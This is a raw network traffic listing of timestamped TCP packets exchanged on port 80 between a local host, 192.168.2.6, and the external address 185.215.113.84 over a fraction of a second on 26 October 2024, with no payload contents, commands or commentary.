Oct 26, 2024 07:27:11.352844000 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352879047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352914095 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352917910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352935076 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.352956057 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.352967024 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.402411938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.402453899 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.402471066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.402543068 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.402566910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.402576923 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.402585983 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.402604103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.402610064 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.402616978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.402622938 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.402633905 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.402657032 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.433656931 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.433690071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.433713913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.433728933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.433731079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.433742046 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.433747053 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.433763981 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.433764935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.433782101 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.433789015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.433804035 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.433815002 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.433849096 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434067011 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434078932 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434117079 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434117079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434140921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434143066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434159040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434159994 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434182882 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434191942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434197903 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434207916 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434231043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434235096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434238911 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434248924 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434264898 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434284925 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434290886 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434322119 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434322119 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434361935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434376955 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434391975 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434407949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434416056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434422016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434441090 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434453964 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434457064 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434482098 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434521914 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434555054 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434608936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434624910 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434640884 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434648991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434657097 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434674978 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434680939 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434695005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434700012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434710026 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434722900 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434750080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434757948 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434776068 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434791088 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434797049 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434818983 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434834957 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434880972 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434902906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434935093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434941053 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.434952974 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434969902 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.434993982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435010910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435029984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435053110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435076952 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435077906 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435087919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435095072 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435112953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435128927 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435133934 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435149908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435158014 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435203075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435241938 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435275078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435298920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435326099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435328960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435337067 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435348034 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435358047 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435369015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435380936 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435389042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435400009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435411930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435417891 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435441017 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435444117 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435461044 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435461044 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435477018 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435492039 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435501099 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435503960 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435518980 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435519934 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435534954 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435542107 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435558081 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435560942 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435568094 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435569048 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435586929 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435601950 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435607910 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435626984 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435628891 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435643911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435653925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435659885 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435662985 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435678005 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435686111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435694933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435707092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435710907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435714006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435733080 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435739040 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435743093 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435772896 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435780048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435802937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435821056 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435861111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435925007 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435940027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435954094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.435964108 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.435981035 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436000109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436158895 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436197042 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436269999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436284065 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436300039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436315060 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436316013 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436336040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436345100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436345100 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436352968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436355114 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436368942 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436373949 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436388016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436393976 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436403990 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436408043 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436417103 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436439991 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436920881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436959982 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.436970949 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.436984062 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437021971 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437050104 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437066078 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437088966 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437102079 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437103033 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437117100 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437125921 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437134027 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437146902 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437150002 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437155008 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437170029 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437192917 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437207937 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437223911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437237978 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437246084 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437257051 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437264919 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437272072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437274933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437289953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437290907 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437319994 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437764883 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437781096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437793970 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437798023 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437810898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437824965 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437830925 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437841892 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437844038 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437859058 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437864065 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437871933 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437875986 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437896967 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437906027 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.437944889 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437968016 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437982082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.437995911 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438009024 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438013077 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438035011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438044071 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438046932 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438080072 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438329935 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438354969 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438366890 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438369036 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438388109 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438407898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438441992 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438458920 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438473940 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438481092 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438491106 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438498020 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438508987 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438514948 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438523054 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438527107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438543081 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438566923 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438570023 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438581944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438597918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438611031 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438618898 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438627958 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438641071 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438658953 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438668013 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438676119 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438699961 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438716888 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438739061 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438754082 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438769102 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438782930 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438792944 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438797951 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438807011 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438821077 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438822985 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438839912 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438842058 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438854933 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438858986 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438870907 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438874006 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438886881 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438906908 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438913107 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438919067 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438922882 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438935995 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438951015 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438960075 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438973904 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.438975096 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.438997984 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439003944 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439019918 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439021111 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439037085 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439050913 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439054012 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439074039 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439088106 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439097881 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439107895 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439114094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439127922 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439131975 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439146996 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439157009 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439181089 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439194918 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439196110 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439214945 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439217091 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439234018 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439239025 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439250946 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439254999 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439269066 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439275026 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439285040 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439287901 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439297915 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439301968 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439325094 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439326048 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439333916 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439342976 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439356089 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439359903 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439377069 CEST	80	49991	185.215.113.84	192.168.2.6
Oct 26, 2024 07:27:11.439379930 CEST	49991	80	192.168.2.6	185.215.113.84
Oct 26, 2024 07:27:11.439392090 CEST	80	49991	185.215.113.84	192.168.2.6
